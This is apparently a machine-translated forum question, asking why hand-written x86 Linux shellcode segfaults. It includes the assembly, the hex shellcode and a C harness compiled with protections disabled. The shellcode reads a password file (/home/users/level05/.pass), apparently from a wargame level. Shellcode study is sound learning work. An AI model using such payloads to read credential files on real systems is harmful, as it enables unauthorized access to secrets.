我试图编写一个简单的shellcode来读取文件的内容。
这是我的集会:
xor eax, eax
xor ecx, ecx
xor edx, edx
push 0x73 ; /home/users/level05/.pass
push 0x7361702e ;
push 0x2f35306c
push 0x6576656c
push 0x2f737265
push 0x73752f65
push 0x6d6f682f
mov ebx, esp
mov al, 0x05
int 0x80 ; open
mov ebx, eax
xor eax, eax
xor edx, edx
mov dl, 0x10
mov ecx, esp
mov al, 0x03
int 0x80 ; read
mov ecx, eax
xor ebx, ebx
mov bl, 0x01
mov al, 0x04
int 0x80 ; write
`
因此,如果我将其转换为shellcode,并且只是运行它,我就会出现分段错误。
我验证了我的代码,看起来不错。要读取的文件也存在,我对它有权利。
我将它编译为在x86 linux上运行。
我用以下程序编译程序:这个主要:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"MYSHELLCODE";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
我跑:gcc c-shell.c -o shell -fno-stack-protector -z execstack -m32
shellcode:\x31\xc0\x31\xc9\x31\xd2\x6a\x73\x68\x2e\x70\x61\x73\x68\x6c\x30\x35\x2f\x68\x6c\x65\x76\x65\x68\x65\x72\x73\x2f\x68\x65\x2f\x75\x73\x68\x2f\x68\x6f\x6d\x89\xe3\xb0\x05\xcd\x80\x89\xc3\x31\xc0\x31\xd2\xb2\x10\x89\xe1\xb0\x03\xcd\x80\x89\xc1\x31\xdb\xb3\x01\xb0\x04\xcd\x80
68字节 `